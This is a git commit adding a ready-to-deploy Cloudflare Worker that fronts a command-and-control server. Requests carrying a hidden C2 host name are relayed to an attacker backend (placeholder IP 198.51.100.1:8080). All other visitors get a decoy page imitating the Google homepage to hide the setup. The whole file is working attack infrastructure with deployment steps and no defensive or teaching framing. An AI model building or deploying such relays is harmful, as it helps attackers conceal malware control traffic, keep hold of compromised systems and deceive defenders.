Upload files to "c2s_cdn_fronting"

2026-06-02 01:53:01 +00:00
parent 339e24bb90
commit 3e4550c05e
4 changed files with 544 additions and 0 deletions
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+/**
+ * C2 CDN Fronting — Cloudflare Worker
+ *
+ * Inspects the Host header of incoming requests.
+ * If it matches your hidden C2 domain, forwards the
+ * request to your backend C2 server.
+ * Otherwise, serves a decoy page (Google homepage clone).
+ *
+ * Deploy:
+ *   wrangler deploy worker.js
+ *
+ * Environment variables (wrangler.toml or Cloudflare dashboard):
+ *   C2_HOST       — The hidden domain used for C2 routing
+ *                   (e.g. "c2-api.yourdomain.com")
+ *   BACKEND_URL   — Your actual C2 server URL
+ *                   (e.g. "http://198.51.100.1:8080")
+ */
+
+export default {
+  async fetch(request, env) {
+    const url = new URL(request.url);
+    const host = request.headers.get("Host") || "";
+
+    // ---- C2 routing: forward to backend ----
+    if (host === env.C2_HOST) {
+      const backendUrl = env.BACKEND_URL + url.pathname + url.search;
+
+      // Clone the request so we can safely read the body
+      const backendReq = new Request(backendUrl, {
+        method: request.method,
+        headers: request.headers,
+        body: request.body,
+        redirect: "follow",
+      });
+
+      try {
+        const backendResp = await fetch(backendReq);
+        // Return the backend response as-is
+        return backendResp;
+      } catch (err) {
+        return new Response(
+          JSON.stringify({ error: "backend unreachable", detail: err.message }),
+          {
+            status: 502,
+            headers: { "Content-Type": "application/json" },
+          }
+        );
+      }
+    }
+
+    // ---- Decoy: serve a Google-like landing page ----
+    return new Response(DECOY_HTML, {
+      headers: {
+        "Content-Type": "text/html; charset=utf-8",
+        "Cache-Control": "public, max-age=300",
+      },
+    });
+  },
+};
+
+// ──────────────────────────────────────────────
+// Decoy HTML — Minimal Google.com look-alike
+// ──────────────────────────────────────────────
+const DECOY_HTML = `<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="UTF-8">
+  <meta name="viewport" content="width=device-width, initial-scale=1.0">
+  <title>Google</title>
+  <style>
+    * { margin: 0; padding: 0; box-sizing: border-box; }
+    body {
+      font-family: Arial, sans-serif;
+      display: flex;
+      flex-direction: column;
+      align-items: center;
+      min-height: 100vh;
+      background: #fff;
+      color: #222;
+    }
+    nav {
+      width: 100%;
+      display: flex;
+      justify-content: flex-end;
+      padding: 15px 30px;
+      font-size: 13px;
+    }
+    nav a {
+      color: #222;
+      text-decoration: none;
+      margin-left: 18px;
+    }
+    nav a:hover { text-decoration: underline; }
+    .main {
+      flex: 1;
+      display: flex;
+      flex-direction: column;
+      align-items: center;
+      justify-content: center;
+      width: 100%;
+      max-width: 600px;
+    }
+    .logo {
+      font-size: 80px;
+      font-weight: bold;
+      letter-spacing: -2px;
+      margin-bottom: 25px;
+      background: linear-gradient(135deg, #4285f4, #ea4335, #fbbc05, #34a853);
+      -webkit-background-clip: text;
+      -webkit-text-fill-color: transparent;
+    }
+    .search-box {
+      width: 100%;
+      max-width: 584px;
+      padding: 12px 20px;
+      border: 1px solid #dfe1e5;
+      border-radius: 24px;
+      font-size: 16px;
+      outline: none;
+      transition: box-shadow 0.2s;
+    }
+    .search-box:focus, .search-box:hover {
+      box-shadow: 0 1px 6px rgba(32,33,36,.28);
+      border-color: rgba(223,225,229,0);
+    }
+    .buttons {
+      margin-top: 25px;
+    }
+    .buttons button {
+      background: #f8f9fa;
+      border: 1px solid #f8f9fa;
+      border-radius: 4px;
+      padding: 10px 16px;
+      margin: 0 6px;
+      font-size: 14px;
+      color: #3c4043;
+      cursor: pointer;
+    }
+    .buttons button:hover {
+      border-color: #dadce0;
+      box-shadow: 0 1px 1px rgba(0,0,0,.1);
+    }
+    footer {
+      width: 100%;
+      padding: 15px 30px;
+      background: #f2f2f2;
+      font-size: 14px;
+      color: #70757a;
+      display: flex;
+      justify-content: space-between;
+    }
+    footer a {
+      color: #70757a;
+      text-decoration: none;
+      margin-right: 20px;
+    }
+    footer a:hover { text-decoration: underline; }
+  </style>
+</head>
+<body>
+  <nav>
+    <a href="#">Gmail</a>
+    <a href="#">Images</a>
+  </nav>
+  <div class="main">
+    <div class="logo">Google</div>
+    <input class="search-box" type="text" placeholder="Search Google or type a URL" disabled>
+    <div class="buttons">
+      <button disabled>Google Search</button>
+      <button disabled>I'm Feeling Lucky</button>
+    </div>
+  </div>
+  <footer>
+    <div>
+      <a href="#">About</a>
+      <a href="#">Advertising</a>
+      <a href="#">Business</a>
+      <a href="#">How Search works</a>
+    </div>
+    <div>
+      <a href="#">Privacy</a>
+      <a href="#">Terms</a>
+      <a href="#">Settings</a>
+    </div>
+  </footer>
+</body>
+</html>`;